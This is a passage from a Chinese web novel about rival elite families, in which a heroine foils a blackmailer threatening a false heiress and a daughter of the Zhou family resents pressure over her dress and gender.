竟然这么嚣张,苏莉狠狠盯着姜花衫的背影,她生气并不是为了苏妙,只是单纯看不惯姜花衫那小狐狸精的做派。 “这小贱人摆明了是在故意找茬,你怎么忍得下?” 见苏妙不接话,苏莉一副怒其不争的鄙弃模样,一边擦手机一边絮叨,“对付这种自以为有点姿色的小贱人还不容易?叫几个人给她上点教训就老实了。不是我说你,你这苏家千金当的也太窝囊了。” 苏妙面无表情擦着指尖,“你嘴巴里的那个小贱人是沈家大小姐。” 苏莉一愣,“哪个沈家?” 苏妙丢下毛巾,“敢跟苏家叫板,你说是哪个沈家?” A国姓沈的何止千万?但只提一个沈字就足以威慑所有人的也就只有那么一家。 苏莉脸色微变,回头看了姜花衫一眼,说来也奇怪,这会儿看那丫头,只觉通体贵气,“人家都愿意出干洗费了,已经很通情达理了。” 苏妙却并不打算放过她,“你刚刚不是还说要叫人教训她?” “你听错了。”苏莉撇过头,唯恐大小姐记上她这张脸。 在泥塘待久了,她现在很有自知之明,她这水平,也就比弄堂那些整日不修边幅,巴望着丈夫施舍的女人强点,要碰上沈家这种贵女,人家一只手就能碾死她。 “不说这些了。”苏莉赶紧扯开话题,打开手机扫码,“今天就这么说好了,我等你联系。” 苏妙正要拒绝,可不知为何脑子突然嗡嗡作响,她鬼使神差拿起手机。 这时…… “很抱歉打扰一下,这是刚刚那位小姐给您点的咖啡,哦!对了,还有这个。” 方才维护姜花衫的店员端着一杯咖啡走到两人面前,贴心递上小纸条。 计划再次被打断,苏莉心中不快,一听说还有小纸条心下不禁起了怀疑,拿着手机催促,“妙妙,手机。” 苏妙虽然不明白姜花衫这是什么意思,但还是欣然接受,她递上手机,顺势吸一口咖啡。 顿然,她脸色骤变,就在苏莉准备扫码时一个回手掏掐住自己的脖子。 “哕!好苦!” 苏妙自小就喜欢吃甜食,一丁点苦味都受不了,她严重怀疑,姜花衫这是给她冲了杯黄连汤。 搞什么?! 苏妙大怒,打开桌上的小纸条,正准备破口大骂,眼神忽然僵住。 苏莉蹙眉,愈发笃定两人有问题,趁着苏妙愣神的空隙,一把扯过她手里的纸条。 她倒要看看,这两人在搞什么鬼? -【小垃圾,你这辈子唯一能咽下的苦只有冰美式】 怎么还骂人? 苏莉没看出什么名堂,再次拿出手机,不等她开口,苏妙抢先道,“你走吧,我不会给你钱,以后你也不要联系我。” “你耍我?” 苏莉气的眼皮抽动,要是完成不了任务,姓赵的会弄死她的。 苏妙看着她,“对,就耍你,我堂堂苏家大小姐耍你怎么了?你信不信逼急了我,我立马可以花五百万雇凶杀了你。” 苏莉震惊,难以置信看着眼前的女孩儿,发生什么事了?怎么一下变风向了? 猎物完全脱离控制,苏莉有些?犹豫片刻故作怨恨瞪了苏妙一眼。 “行,你给我等着。”撂下狠话,扬长而去。 姜花衫跟着起身,看都没有看苏妙一眼,尾随而去。 苏妙脸色微变,正要起身,手机发出震动。 【关你peaCe:定位/上虞御前私人会所】 …… 第287章 反套路 “死丫头,到底是哪根筋不对?” 苏莉出了咖啡馆,本性完全暴露,点了根烟一路骂骂咧咧。 不过她也不好糊弄,虽然没有证据,但她依稀能感觉到事情有蹊跷。 在心里盘算了一会儿,苏莉拿出手机准备打电话,恰巧眼眸不经意扫到了街边的玻璃,她眼神微变,当即收了手机,故意往人少的地方走去。 拐进一条小巷,苏莉抬着下巴吐着烟圈,“出来吧。” 没一会儿,角落里走出一个人影,正是姜花衫。 苏莉上下打量她,“你从出来就一直跟着我,不知有何贵干啊?” 她已经知道了眼前的女生与沈家有关,所以刻意保持了几分礼节。 姜花衫双手抱胸,学着苏莉的模样上下打量,“你跟苏妙什么关系?” 苏莉一时拿不准姜花衫的目的,不答反问,“你跟踪了我几条街就为了问这个?不是,这跟你有什么关系?” “当然有关系。”姜花衫摆出一副盛气凌人的模样,“苏家是名门望族,怎么会允许苏妙跟你这种人来往?你们之间是不是有什么不可告人的秘密?” 苏莉气结,“我这样的人,我什么人?” 姜花衫抬手,伸出兰花指点着她转了一圈,“下等人。” “……”苏莉闭眼,没在苏妙身上体会的上层刻薄,终于在姜花衫这里圆满了。 姜花衫单手点着下巴,“说吧,你们有什么不可告人的秘密?” 苏莉看出来了,眼前这位沈小姐不但刻薄还有公主病,为免自己暴露,还是不要搭理的好。 “我给你一百万。” 苏莉脚步一顿,像被某种力量附体,回头看着姜花衫,“多少?” 姜花衫,“我最看不惯的就是苏妙那副自以为是的嘴脸,偏偏她又有个苏家撑腰。如果你手里真有她不可告人的秘密,我拿钱买。” 苏莉有些意动,可一想到关头男的手段立马又歇了心思,“我不知道你在说什么。” 可人的眼睛在起贪恋的时候根本瞒不住。 既然是赌徒,贪就是她的劣根。 姜花衫轻飘飘伸出五根手指,“五百万。” 嗯?!!! 苏莉惊得倒吸了一口凉气。 有钱人的大小姐就是这么抬价的,一百万直接变五百万? 疯了吧? 女人立马起了疑心,一脸戒备,“你跟苏妙到底有多大的仇,花五百万就为了针对她?” 这怎么看都像是漏洞百出的陷阱。 姜花衫嫌弃摇摇头,“下等人就是下等人。五百万很多吗?我花钱买个开心很值得啊。” 苏莉眼眸微闪,她想走,但又舍不得眼前的巨款。 “不过……”姜花衫顿了顿,“你倒是提醒我了,凡事讲究性价比,如果500万只是让苏妙一时不痛快,我也没必要花这冤枉钱,一百万就够了。但如果能让她颜面扫地成为鲸港名流的笑话,再多个五百万我也乐意,本小姐不缺钱,就缺乐子。” 再多五百万,岂不是一千万? 要是有一千万,她还用仰人鼻息像狗一样生活吗? 苏莉咬了咬牙,决定赌一把,“你说的是真的?” 姜花衫笑了笑,“看来我猜的果然没错,你手里的确有苏妙的把柄。” 苏莉现在也不敢完全相信姜花衫,思忖片刻说道,“我怎么知道你说的话是不是真的?” 姜花衫皱眉,一副嫌弃的模样点开手机,苏莉扫了一眼,目光又落在她的脸上,思来想去最后还是贪恋占了上风,拿出手机添加好友。 没等她反应,界面直接弹出转账信息。 苏莉数了数,五个零,整整二十万。 最可怕的不是二十万,而是消息提醒,她今日的额度已达上限。也就是说,这二十万是她账户限制的额度,不是大小姐的额度。 “烦死了,给这么点钱还得分十次输入,喂!你给我一个银行账号,我再给你八十万。” “多少?”苏莉一下被钱砸懵了,呆呆看着姜花衫。 姜花衫捂着耳朵,“你嚷什么?吵到我的耳朵了。” 苏莉现在看姜花衫就跟看财神似的,连忙蒙住嘴巴,生怕把财神爷吓走。 姜花衫,“这算我的定金,如果你的消息值钱后面的钱会给你补上。” 苏莉没再犹豫,立马把自己银行卡号发过去。眼前这丫头似乎脑子不怎么好,先把这一百万拿到再说。 姜花衫早猜到苏莉在打什么算盘,一副恶毒大小姐的做派,“我警告你,别以为我小就可以糊弄我。我这人最不喜欢的就是别人跟我作对,我今天能随便给你一百万,明天就能花五百万把你活埋,明白了吗?” 苏莉咽了咽口水,“沈小姐您放心吧。” 姜花衫白了苏莉一眼,“别让我等太久。”说罢,转头出了小巷。 等人走后,苏莉长长舒了一口气,这么多年摸爬滚打的经验告诉她,这个沈小姐比苏妙难缠多了。 刚走两步,电话就响了,是光头男的电话。 苏莉权衡了片刻,媚笑着接通电话,“赵哥。” “情况怎么样?” 苏莉笑着敷衍,“那丫头还有些防备……” 接着,她把咖啡馆里的事掐头去尾含糊说了一遍,其中还特意删减了姜花衫的出场。 理由很简单,她怕光头男起意,挡了自己的财路。 * 另一边,姜花衫刚从小巷出来,信息就编辑好了。 【关你peaCe事:孙悟空拔猴毛.gif】 【关你peaCe事:沈龟灵!!!】 对方秒回。 【沈龟灵:?】 姜花衫直接转发了苏莉的社交账户和银行卡。 【关你peaCe事:兑换一个要求,帮我查查这个人,越详细越好,另外,再帮我查查这个账户名下十六年来所有的银行流水。保密!】 【沈龟灵:好。】 这么爽快? 简直不要太爱。 姜花衫盯着屏幕沉默了片刻,发送了一个可爱的Wink表情包。 【关你peaCe事:谢谢阿灵哥,你人真的超好耶~~~】 三个小波浪,看不迷死你,百分之一,拿来吧你。 【警告,宝藏剧情心动篇之《拯救小可怜》反弹,完成度下降百分之四】 姜花衫,“……” …… 第288章 欢迎公主殿下回家 南湾政厅大楼。 会议室的大门轰的一下被打开,各级G官领导从里面走了出来,众人三两成群,交头接耳小声攀谈。 “阿灵少爷。” 有人毫不避讳喊了一声,众人纷纷放慢脚步,不约而同看向人群里最惹眼的存在。 少年西装笔挺,贵气十足,随便一个回眸就与身边人对比出了两种画风。 莫然小步跑上前,“少爷,您的会议还没有结束,议员长吩咐这次的文书工作由您记录。” 沈归灵低头看了看手机,转身走进会议室,等大门再次关上,所有人的脸色都有了微妙的变化。 沈谦即将上调入国会,上任之前特意召集了南湾沈系一派开会,目的就是部署往后南湾的发展。 按理,沈归灵是不被允许参会的,但沈谦给他弄了个宣传秘书的职称,不仅全程参与重要会议,就连高层决议都由他亲笔记录,这份信任背后昭示着什么不言而喻。 “二少爷今非昔比,看来,南湾未来的风向要变了。” “岂止,听闻沈家那位老爷子对二少爷青睐有加,特意养在身边亲自教养。” “这就难怪了,阿灵少爷对人随和,凡事都有独到之见,实在是不可多得的人才。” 众人小声议论,言语间都是对沈归灵的赞美。 “他再厉害也不过是个私生子,上不了台面的玩意儿!” 男人垫着肚子,吐了一口浓痰,大摇大摆走进电梯。 众人噤声,相互看了看,开始装聋作哑。 男人是姚家姻亲,因为裙带关系在南湾坐上了安警一把手的位置,以前姚歌在的时候,大家都给他三分薄面,不轻易得罪。 姚勇伟进入电梯后,安警系统的都跟着走了进去。 “姚局,这么下去不是办法,我看沈先生现在对那私生子越来越倚仗,只怕再过几年,大少爷回来也没位置了。” 家族下面是谋臣,谋臣下面是派系,派系之间又各有龃龉,姚勇伟作为姚家旁支是姚歌坚定不移的拥趸,只有沈年上位,姚家人才能实现一人得道鸡犬升天局面。 为此,姚勇伟丝毫不掩饰对沈归灵的轻视,不仅多次在公众场合言语羞辱,甚至还在正主面前摆老资历,故意不配合宣传,让沈归灵多次空等导致工作无法开展,且态度极其恶劣敷衍。 “你说的对。” 姚勇伟眼珠一转,当即给姚歌打去了电话,把南湾内情夸大说了一遍。 姚歌听说沈归灵已经开始掌政,气的把家里的东西都砸了。 从白峥事件后,她就一直处在半软禁状态,现如今不管走到哪,跟什么人见面,身后都有一群人跟着,就连家里的管事阿姨也全都是沈家的眼线。 姚歌刚开始砸,保姆就给沈园主家打去了电话,等砸完,孟医生就带着一群人不请自来。 “你们想干什么?别碰我!别碰我!” 姚歌歇斯底里,像个疯子一样大喊大叫。 孟医生让人给她注射了镇定剂,记录好情况转身回了沈园。 * “疯了?” 沈庄正在花厅打理花草,听了孟医生的结论手腕微微一顿,片刻后,他放下剪刀,抬手接过孟医生手里的数据。 “这是夫人这几年的体检报告,她的情绪起伏很高,已经完全超出了普通人的正常范围。” 沈庄接过报告,数据显示姚歌是从六年前开始出现症状,尤其近三年,几度游走在崩溃边缘。 六年前,是他驱赶阿年的时间,三年前,是沈家承认阿灵的时间。 沈庄眸中略有思量,“依你看有几分真?几分假?” 孟医生,“这次应该是假的,注射药剂时夫人的躲闪反应露了马脚。不过……她的数值很危险,如果反复经受精神打击,总有一天……会疯。” “有什么干预措施?”这一幕,不是沈庄想看到的。 “解铃还需系铃人,夫人的心结是大少爷。”点到为止,后面的话孟医生也不敢再说。 沈庄点头,摆摆手,“先让她好好疗养着。” “是。” 待人走后,沈庄拿着锄禾走出花厅,沈执立马跟上前,“老爷子。” 沈庄凿开一堵藤蔓花墙,里面露出一块荒废的农地,老人指了指空地,“让人松松土,买点萝卜种子回来。” 沈执一愣,连忙点头称好。 * “不是!这是哪啊?怎么看上去不三不四的?” 苏妙抱着背包,站在黑金大门前探头探脑,偷感十足。 “经理,外面有个小孩一直站着不走。” 蔡经理往门口看了一眼,理了理胸前的领结,踏着锃亮的黑皮鞋大步走出门外,“小妹妹,你在这做什么?”因为职业问题,男人嘴角挂着四十五度微笑,看着亲切舒服。 苏妙往后退了一步,“我朋友约我在这见面。” 蔡经理愣了愣,有些失笑,“你朋友?是不是弄错了?或者是恶作剧什么的?” 这个姑娘看着还未成年,她的朋友应该也未成年,怎么会来他们这里? 苏妙一想到姜花衫的恶劣,转头准备走,可刚走两步又想起了那杯比她命还苦的冰美式,她咬了咬牙,往里面指了指,“她让我来的,我还是进去等吧。” 蔡经理眼皮跳了跳,一把拽着苏妙,“小妹妹,回去吧,这不是你该来的地方。” “凭什么我不能来?你别狗眼看人低!我告诉你,我有的是钱。”苏妙不顾男人阻拦,一个假动作钻进大门。 蔡经理叫苦不迭,他出来就看见了这小姑娘一身高定,连头上的帽子都是某奢联名款,三万块还有价无市。 这怕不是哪家千金溜出来体验生活的?要是让她进去,得罪了不该得罪的,只怕他们的饭碗都要被砸了。 会所里面的装潢极度奢华,黑红色调隐隐带着一丝暧昧气息。 苏妙越看越不对劲,路过的服务员全是男人,穿着不正经的西装,胸口的开叉就差没开到肚脐眼了,最不正经的还是这些人的眼神,看到她浑身起鸡皮疙瘩。 终于,苏妙走不下去了,转身回头,她要还不知道这是什么地方,这些年就算白活了。 姜花衫真是有病,竟然这么耍她。 蔡经理见状,大呼阿弥陀佛,亲自给苏妙按电梯。 “小妹妹,快走吧。” 苏妙臊的慌,要不是有帽子挡着,脸都丢完了。 电梯数字缓缓跳动,眼看马上就要抵达,忽然一群穿着劈叉服的帅气小哥哥从店里跑了出来,两行一列围着隔壁的电梯,呈夹道欢迎之势。 蔡经理脸色微变,顾不上苏妙,拔腿冲进最前列,抬头挺胸站得笔直。 “叮——” 电梯门缓缓打开。 一米八大长腿们九十度鞠躬,异口同声,“欢迎公主殿下回家。” “……嗤。”苏妙不屑一顾,“有病吧。” 刚抬腿,电梯里的人走了出来。 苏妙瞳孔地震,发出比所有人都刺耳的尖叫声。 “姜!花!衫!” …… 第289章 监督者 VVVVVVIP包间里。 苏妙柳眉倒竖,双目炯炯有神,从上到下,从左到右,从前到后盯着姜花衫一动不动。 可恶,都是大小姐,凭什么她吃这么好? 刚刚出电梯那一刻,真的被她装到了。 姜花衫被苏妙这破防的模样逗笑了,为了更好开展后续工作,她先示好递上IPAD,“诺,随便点,我请客。” 倒是轻车熟路啊,果然不愧是老主顾。 苏妙撇头拒绝,“我不点,我已经有喜欢的人了,我是不会同流合污的。” 姜花衫看了她一眼,点开IPAD,“行,那我点个牛油果奶昔冰淇淋,你就喝白开水。” “……”苏妙眼神一变,抢过IPAD,扫了一圈表情讪讪,“怎么都是果饮?” 姜花衫靠着沙发,双手抱胸看着她,“不然你以为是什么?” 苏妙假装没听见,顺手点了个多糖草莓奶昔。 点完后,她咂咂舌,又是一副打量的模样,“没想到你玩的还挺花。” 姜花衫懒得解释。 她现在跟苏妙的关系比较微妙,介乎朋友之间,却又远不构成信任,所以有些秘密不宜过早分享。 苏妙就当姜花衫默认了,环顾了一圈,这才想起此行的目的。 “你约我来这里,是有什么要说的吗?” 姜花衫,“我以为是你有话想对我说。” 毕竟在苏妙的认知里,她现在是除了苏莉以外唯一知道真相的人,且会对她有威胁的人,苏妙如果想保守秘密,除了要想办法稳住苏莉外,还得想办法让她闭嘴。 苏妙沉默片刻,缓缓开口,“这件事你能假装不知道吗?只要你同意,什么条件我都答应你。” 话音一落,她头顶的绿色标签又大了一圈。 现在的苏妙不管说什么姜花衫都不会感到意外,毕竟她不是沈眠枝,她甚至都意识不到自己的反常,充其量只会觉得自己可悲可耻。 “我知道,你现在一定很看不起我。可是我真的不想失去现在拥有的一切,我害怕,怕自己过不了那些苦日子。只要你答应替我保守秘密,你让我做什么都可以。” 一次歧途,回头无岸。 姜花衫已知因果,于她而言,她现在已经站在了苏妙的终点,只要她干预,苏妙的人生轨迹就会完全不同。 同样,如果她选择漠视,苏妙将一辈子无法摆脱被掌控的宿命。 剧目之力给了她几乎等同创世神的权力。 从客观事实分析,正确的选择应该是漠视。 傅绥尔和沈眠枝都是因为撕了标签导致剧情崩坏,所以才会出现完全预料不到的暗杀局。 从前两次的经验分析来看,若是强行撕下苏妙的标签,一定会再次发生不可预测的剧情。 而未知的东西总是伴随着不确定性,赌性太大。 可若是漠视就不同了,这条支线剧情不会有任何改动,姜花衫还可以利用苏妙的把柄让她替自己做事,引出幕后黑手。 反正金兰篇也只要求她们为彼此背叛自己,只要完成任务,标签撕不撕对姜花衫都没有影响。 但…… 人是主观动物,很多时候不尊重客观事实,只在乎当时心境。 姜花衫故意翘着兰花指点了点苏妙怀里的书包,“里面装的什么?” 苏妙忽如当头棒喝,慢慢从书包里抽出一把银制的水果刀。 姜花衫戏笑,“你上街带把刀做什么?看着价值不菲,怎么?知道自己会被拆穿,所以打算私藏东西以后换钱?” 苏妙死死握着刀柄,喃喃自语,“不是……” 她怕那个坏女人对沈家有企图,更怕自己禁受不住恐吓妥协,所以拿着刀想提醒自己,最差不过同归于尽,各归其位。 可是,后来不知怎么说着说着,她就迷糊了。 姜花衫,“那我呢,你花五十万让我看了一出好戏,现在又反过来策反我,到底是想刚还是想怂啊?” 苏妙怔然,抬头看着姜花衫。 “你知道?” 姜花衫点头,她当然知道,因为此时苏妙头顶正义的标签已经在慢慢扩大,甚至都快赶超第三顺位的恶毒。 苏妙不语,低头看着手里的刃。 在收到苏莉的威胁后,她当即陷入了与自己抗衡的旋涡里,人都有私心,都会有害怕失去的东西,她也一样。 她想将错就错继续掠夺别人的人生,可又做不到完全无动于衷。她爱沈家人,就因为爱所以舍不得离开,也是因为爱,她不想自己爱的人与真正的亲人骨肉分离。 但她了解自己,她狭隘、自私,甚至有点小坏,到时候那个女人说两句她肯定会动摇。为了不给自己留后路,她做了一个大胆的决定,主动邀请一个监督者。 这个监督者必须要不惧苏家势力,不怕她的报复,更看不上她的威逼利诱,不仅要有正义感还得有手段。 一开始,她想到的是周绮珊,可是周绮珊性格软弱又与她交好,根本满足不了她对监督者的要求,思来想去,最后她选择了姜花衫。 所以,转入五十万巨款的那刻,她其实是破釜沉舟的。 姜花衫笑了笑,起身握住苏妙执刃的手,掌心反转,刀尖向外。 “别紧张,小垃圾~搏一搏,未必是死路。” …… 第290章 主动出击 苏妙从御前大楼出来的时候,天空忽然下起了雨。 雨势不大,但街上的人群已经奔跑起来。 苏妙伸出一只手,感受被细雨拍打的触觉。 “怎么搏?假的就是假的?难不成还能变成真的?” “这世间本来就是真真假假,你只是假的苏家千金,又不是假的苏妙。” “苏妙如果不是苏家千金,还是苏妙吗?” “是啊,苏妙如果不是苏家千金,就不是苏妙了吗?” 她眼眶微酸,缓缓收回被打湿的手,抱着背包坐在街边的花坛上。 “说的好听,可谁又真的能做到呢?” 她喃喃自语,从背包里拿出一个水杯,里面装着她从咖啡店打包的冰美式。 啄了一口,苦的面容都扭曲了,但她却有些上瘾。 比命还苦的咖啡,比路还灰暗的天空,所有人都在避雨,唯有她在享受,因为这是一场独属于她的emO。 * “嘿,真稀罕,这年头还有人玩街头表演?” 乔金锦正在低头玩手机,听见同伴调侃顺便抬头瞥了一眼。 这不是命苦癫鹅吗? 下雨天不回家跑出来演情深深雨蒙蒙,没苦硬吃? 乔金锦眼里多了一丝玩味,指着路边,“开过去。” “认识?”同伴隔着车窗扫了苏妙一眼,“看着挺嫩的,不过这也太嫩了,你什么时候好这口了?” “少废话。”乔金锦从后座随意挑了个礼盒,开始拆包裹。 同伴挑眉,“不是,这就迫不及待要去示好了?” 今天两人逛了一上午,后面那些都是乔金锦孝敬自家长辈的礼物。 等车刚停好,副驾的窗户落下,只见一个印着某奢lOgO的狗盆划过一道优美的弧线,不偏不倚落在苏妙面前。 什么东西? 苏妙正沉浸在悲伤的情绪里,从天而降的狗盆打断了她的节奏。 没等她反应过来…… 叮—— 一声清脆的铃响,一枚钢镚精准落进盆中。 苏妙抬头,只见乔金锦一只胳膊撑着车窗,眼神挑衅,似笑非笑看着她。 “这样看,你的命就苦多了。”说罢摆摆手,拉上车窗扬长而去。 岂有此理! 苏妙瞬间暴起,一脚踢开眼前的狗盆,指着冲出十米远的车屁股大骂,“有种你别走,死癞蛤蟆!蟾蜍精!” “嗤~” 反观镜里,苏妙张牙舞爪骂的又急又怒,乔金锦直接关上窗隔绝噪音。 * 天空飘着蒙蒙细雨,姜花衫前脚刚踏进沁园,沈执后脚就撑着雨伞迎了上来。 “衫衫小姐。” 姜花衫往院子看了一眼,“有客?” 沈执在前面领路,“是清予少爷,这不马上就要启程去S国了,老爷子有些话要交代少爷。” 姜花衫脚步一顿,“确定好出发的时间了?” 沈执点头,“是,定在下周三,一同随行的还有外交部几位世家。” 屋里。 沈清予正坐在案前煮茶,冷不丁听见熟悉的声音,吓的手一哆嗦,滚烫的茶汤翻溅上手背立马红了一片。 “怎么回事?毛毛躁躁的?”老爷子也不见心疼,笑眯眯看向门外,“哦,是小花儿来了。” 沈清予顾不得烫伤,蹭得一下站起身,“爷爷,我先回去了。” “急什么?我话还没说完。正好小花儿来了,问问她想要什么礼物?” “爷爷~” 姜花衫语调轻快,还没入厅就咋呼了起来。 沈清予眼皮跳了跳,二话不说往门口走去,脚刚跨过门槛,就看见一道身影蹦蹦跳跳过了花池。 这么出去一定会撞个正着的。 来不及多想,沈清予转头走进茶室,一鼓作气推开木窗,两腿一蹬爬窗跳了出去。 整个过程行云流水,没有一丝犹豫。 沈庄:“……” “爷爷~” 姜花衫刚迈进主厅,茶室的木窗砰地一声关上。 “咦?沈管家不是说沈清予也在吗?他人呢?” 沈庄气定神闲摆正茶盅,拿着抹布清理茶台,“走了。” “走了?”姜花衫回头看了看,“他往哪走的?” 沈庄扫了窗台一眼,端起茶杯,“走了好一会儿了。”说罢,朝姜花衫招了招手,“过来坐。” 姜花衫乖乖入座,沈庄给她倒了一杯温水,她捧着茶杯眼神略带讨好,“爷爷,我今天来是有事想拜托您。” “这么郑重?”沈庄放下茶壶,故作严肃,“那爷爷可得仔细听,不能辜负了我们小花儿的信任。” 姜花衫笑了笑,“爷爷,我想要一把手枪。” 沈庄微愣,一时怀疑是自己听错了,“你说你想要什么?” “一把女式手枪。”姜花衫兴冲冲比划,“最好是改良版的,后坐力小方便隐藏,一枪可以打穿头骨那种。” “……”沈庄默默给自己倒了一杯茶,稍稍冷静片刻才缓缓道,“可以。” 姜花衫眼里的期待瞬间化作小星星,“真的吗?爷爷你太好了。” 为了表示自己有多开心,她起身给了沈庄一个熊抱,“谢谢爷爷,您真是这天底下最好的爷爷。” 沈庄被她逗的合不拢嘴,“行了,别跳了。东西倒是其次,爷爷就担心你伤着自己。这样,先让郑松教你开枪,等上手了你要什么样的,爷爷都给你弄来。” 郑松的枪法可比周宴珩好太多了,姜花衫求之不得,搂着沈庄的胳膊撒娇道,“爷爷您英明神武,都听您的。” 沈执站在一旁,默默看着姜花衫把沈庄逗成了翘嘴。 爷孙俩说说笑笑,吃了饭后姜花衫心满意足离开了沁园。 此刻雨已经停了,但天还是灰蒙蒙的。 姜花衫丝毫不受天气影响,元气满满推开菊园的大门。 “张妈,我回来了。” 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 姜花衫咧开的嘴角顿时僵住。 不是!沈龟灵这是什么意思?在嘲讽她的勾引技巧吗? 他要这样她可就认真了! …… 第291章 生而为女,我有罪吗 湖畔庄园,周府。 主厅灯火通明,因着S国出访计划推进,周国潮特意把三个儿子叫来家里吃饭,晚饭后,男人们在偏厅谈政事,女人们在庭院聊家常。 周国潮膝下有三子两女,老大周元正现任外交部总部长,此次出访S国的总流程由他亲自策划。 老二是警署厅总司长,直属国会。 老三是商枭,把控着南欧百分之七十的主体经济。 “爸,沈老爷子已经应口,按计划出使团下周三离港。” 周元正长相儒雅,却因一次发言拍烂了三张演讲桌,被A国民众亲切称为人形导弹。 老三周元义起身给众人添茶,“爸,我最近押了块宝地,又赚了不少。” 在周家,家主为尊,周国潮为了防止几个儿子内斗,早早就定下规矩。周家以后由大儿子周元正继承家主之位,其余周家子弟务必鼎力相助,不可有二心。 为了让周元正心无旁骛忙事业,周国潮亲自教导周宴珩,甚至在周宴珩六岁生辰就对外宣布,周宴珩为周家孙子辈的唯一继承人。 因着这份偏爱,周正元和周宴珩在周家的地位非同一般,仅次于周国潮这位老家主。 周国潮一向看不上小儿子钻钱眼的营生,淡淡嗯一声,端起茶盅看向老二,“你那总司的位置也该提一提了,沈谦入了国会就是你的直属上司,等他从南湾回来,关系还是该走动走动。” 老二周元白连忙称是。 周元义习惯了被忽视,并也不在意,笑着给一旁玩游戏的周宴珩倒水。 周宴珩指尖一顿,抬头笑了笑,“谢谢三叔。” “客气什么?三叔最近赚了一笔,你不是喜欢赛车吗?有没有看中的?三叔送你,就当提前祝贺你升学之喜。” 周绮珊端着水果走进来时,正好就看见眼前这一幕。 周国潮终于分了点眼色给周元义,“阿珩,别跟你三叔客气,你要拿下魁首,爷爷还有礼物。” 周宴珩原本不怎么感兴趣,正要拒绝,忽然脑子浮现出被沈清予连弯超车的一幕,他扬唇笑了笑,“我喜欢的,三叔可就要破费了。” “诶!一家人说这话见外了,有什么破费不破费的?” 周绮珊掩眸,慢步走上前,“爷爷,爸,大伯,二伯,吃水果。” 周元义立马收了笑,板着脸不说话。 周国潮点头,“乖,放着吧。” 周绮珊站了一会儿,发现没有人搭理自己,放下果盘便退出了主厅。 等人走后,周元义又笑呵呵同周宴珩说话,“阿珩,看好了发张图片给三叔,别管贵不贵,三叔让人给你送来。” 前院,三个女人坐在一块有说有笑,徐文佩心不在焉,时不时回头看向客厅,好不容易等到周绮珊出来,她立马起身走了过去。 “小姗?水果送进去了吗?怎么一会儿就出来了?” 周绮珊,“爷爷他们在谈正事。” 周家规矩多,男人们谈事一般不允许外人打扰,周家媳妇和周家女儿都不行, 徐文佩摆摆手,正要转身,忽然想起什么有些谴责说道,“小姗,不是妈妈说你,你也老大不小了,不能总穿的跟男孩子一样,你是不知道现在外面说的多难听,你爸爸很不高兴。” 周绮珊心下哽塞,原来刚刚父亲对自己视而不见就是这个原因。 徐文佩生怕女儿多想,拉着她的手轻声解释,“你爸爸这些年也不容易,在这个家里,你大伯有阿珩,二伯有阿骞,我们……妈妈没有怪你的意思,就希望你能多体谅你爸爸,当年的事也算因祸得福,让你在老爷子这入了眼,你可要好好把握。” “你和阿珩不一样,他未来是要继承家业的,就算胡闹也有人兜底。现在你爸爸好不容易愿意接纳你,你要是不改改自己的性子,只怕又要让他失望了。” 周绮珊看着眼前的女人,出声打断,“妈妈,你觉得我长高了吗?” 徐文佩顿然语塞,这孩子怎么回事? 周绮珊又问了一遍,“大半年没见了,看不出来吗?” 徐文佩皱眉,“我正要说,女孩子长这么高做什么?你又不当兵。” 周绮珊轻轻推开徐文佩的手,反问她,“生而为女,我有罪吗?” 所以不穿裙子是错,长的高也是错? 徐文佩一愣,脸色冷了下来,“小姗,你怎么回事啊?现在妈妈说你两句你都不听了?你看看你现在像什么样子?我让你改变穿着,像个正常小女生那样难道有错吗?你知道外面那些太太们都怎么说你的吗?说什么拉拉、百合,难听地我都说不下去了!” “我告诉你,你要是有这类心思趁早死心,我和你爸爸坚决不会同意,我们周家丢不起这个人。” 周绮珊扯着嘴角苦笑。 不是周家丢不起人,而是周家的女儿另有作用。 两个姑姑年纪一到就被当成联姻工具嫁了出去,大姑姑的夫家是南欧石油大亨,为周家打入南欧市场奠定了基础,小姑姑的夫家是S国高官,为当初大伯的外交事业贡献了不少契机。 徐文佩还想再说,周绮珊却不想再听,只说了一句我累了便转头出了庭院。 周夫人是看着周绮珊长大的,对她比旁人多了几分疼爱,等周绮珊走后,周夫人起身拍了拍徐文佩的肩膀。 “你啊,大半年不见人,一来就训人,我要是姗姗,我也不乐意听你说教。” 周夫人是长嫂,因着丈夫和儿子争气,说话向来有分量。 徐文佩虽然心里不服,却也不敢表露出来,尴尬笑了笑,“我这不是担心她走错路吗?大嫂,你是不知道现在外面传的有多难听。” 周夫人,“现在都什么时代了?小女孩穿个衣服也要被指指点点?我看那些人就是吃饱了撑着的,姗姗个好姑娘,你可不要人云亦云。” “大嫂说的是。”徐文佩虚笑着应付,心里却忍不住腹诽:说着好听,要是你儿子搞男人看你还能说风凉话。 * 周绮珊刚回到房间便察觉出了不对劲,她的房间被人动过。 她突然反应过来,冲进衣帽间。 感应灯一排排亮起,偌大的衣橱焕然一新,里面挂满了各种各样套装、花裙。 粉色的、紫色的、长的、短的,琳琅满目,应接不暇。 灯光骤然熄灭,周绮珊缓缓闭上眼,用力捂着自己的耳朵,可是脑海里的怨怼声一直阴魂不散。 “小姗,为什么你不是男孩儿,你要是男孩儿该有多好?” …… 第292章 触底大反弹 昨日的一场雨,拉开了初冬的序幕,天气骤降,单薄的针织衫也变成了厚重的羽绒服。 “哎呀,睡过头了。” 姜花衫哈着一团雾气走出沈园,本来不抱希望,不想抬头就看见一辆黑色的轿车停在门口, 高止推门下车,动作一次比一次规范,“公主请上车。” 车窗上结着一层薄薄的雾霜,也不知道等了多久? 姜花衫扫了一眼,钻进车里。 车里的暖气很足,散发着淡淡的木质冷香。 出门时张妈怕她冷,往她身上套了两件大衣,姜花衫脱了一件还是觉得热,想再脱一件,可大衣挂在手上不好施展。 这时,一只大手穿过,直接把她的衣服拎了过去。 姜花衫微愣,正眼看向身边的少年。 沈兰晞将衣服对折挂在胳膊上,明明一个简单得不能再简单的动作,他做起来格外赏心悦目。 姜花衫眯眼,一脸戒备。 这可不是什么好人,无事献殷勤非奸即盗。 沈兰晞想了想,“你……” “打住!”姜花衫抬手制止,“你别想了,我是不会帮你找爷爷求情的,输就是输了,愿赌服输。” 沈兰晞沉默一秒,再次开口,“我……” 姜花衫完全不听,自顾自话,“我建议你还是多学学人家沈龟灵,你看,走的多潇洒?虽然他也是的lOSer,但人家有姿态。” 说完,她在心里开始倒数。 三,二,一。 翻脸。 但事实却是截然相反,沈兰晞神色淡淡,脸上一点生气的痕迹都没有。 